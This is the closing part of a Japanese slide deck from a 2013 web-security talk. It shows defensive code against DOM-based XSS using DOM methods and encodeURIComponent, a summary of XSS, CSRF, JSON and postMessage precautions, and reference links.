  60. 60. • HTML組み立てを以下のいずれかの方法で行う – DOM操作用のメソッドやプロパティを用いる • 文脈に応じたエスケープ処理を施す Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 対策 var div = document.getElementById('img'); var img = document.createElement('img'); img.setAttribute('src', 'track.php?siteId=' + encodeURIComponent(qstrs.siteId)); div.appendChild(img); var div = document.getElementById('img'); var img = '<img src="track.php?siteId=' + encodeURIComponent(qstrs.siteId) + '">'; div.innerHTML = img; 60
  61. 61. 対策(続き) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved window.addEventListener("message", function(event) { var siteId = event.data; var form = document.getElementById('form'); var input = document.createElement('input'); input.setAttribute('name', 'siteId'); input.setAttribute('value', siteId); // setAttributeを使えば、HTMLエスケープの必要はない form.appendChild(input); } , false); 61
  62. 62. • HTML5になり攻撃のバリエーションは増加しているが、 基本は変わらない – XSS: 文脈に応じたエスケープ または DOM操作用メソッド・プ ロパティ – CSRF: トークンにより対策 • “手抜きをしない” – 手抜きの例 : XHRではクロスドメイン通信ができないと思い CSRF対策を怠る • 対策はできるだけ局所的に完結する • JSONのXSSに注意 • postMessageによる情報漏えいやデータ汚染に注意 • 最新のjQueryその他のライブラリを用いる Copyright © 2008-2013 HASH Consulting Corp. All rights reserved まとめ 62
  63. 63. 参考文献(1) Copyright © 2013 HASH Consulting Corp. XSSの基礎を説明してい ますが、DOM base XSS やAjaxに関する説明は あまりありません 63
  64. 64. 参考文献(2) http://www.ipa.go.jp/about/technicalwatch/20130129.html DOM base XSSに関する 体系的な説明として貴 重な参考資料です 64
  65. 65. 参考文献(3) ブラウザセキュリティの 「面倒くささ」について、逃 げずに丹念に説明してい ます。上級者および上級 者を目指す方向け 65
  66. 66. • HTML5 and Security Part 1 : Basics and XSS [PPT] – http://utf-8.jp/public/20130613/owasp.pptx • HTML5時代のWebセキュリティ[PPT] – http://utf-8.jp/public/20120915/20120915-html5.pptx • XMLHttpRequestを使ったCSRF対策 – http://d.hatena.ne.jp/hasegawayosuke/20130302/p1 • 機密情報を含むJSONには X-Content-Type-Options: nosniff をつ けるべき – http://d.hatena.ne.jp/hasegawayosuke/20130517/p1 • JSONをvbscriptとして読み込ませるJSONハイジャック(CVE-2013- 1297)に注意 – http://blog.tokumaru.org/2013/05/JSON-information-disclosure- vulnerability-CVE-2013-1297.html • PHPのイタい入門書を読んでAjaxのXSSについて検討した(1)~(3) – http://d.hatena.ne.jp/ockeghem/20110905/p1 66 参考文献(4)
  67. 67. • セッションアダプションに対する私の見解 – http://tumblr.tokumaru.org/post/37870453034/about-session- adoption • 本当は怖いパスワードの話 – http://www.atmarkit.co.jp/fsecurity/special/165pswd/01.html • Webアプリでパスワード保護はどこまでやればいいか – http://www.slideshare.net/ockeghem/how-to-guard-your- password • いまさら聞けないパスワードの取り扱い方 – http://www.slideshare.net/ockeghem/ss-25447896 67 参考文献(5)
  68. 68. Thank you 68
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×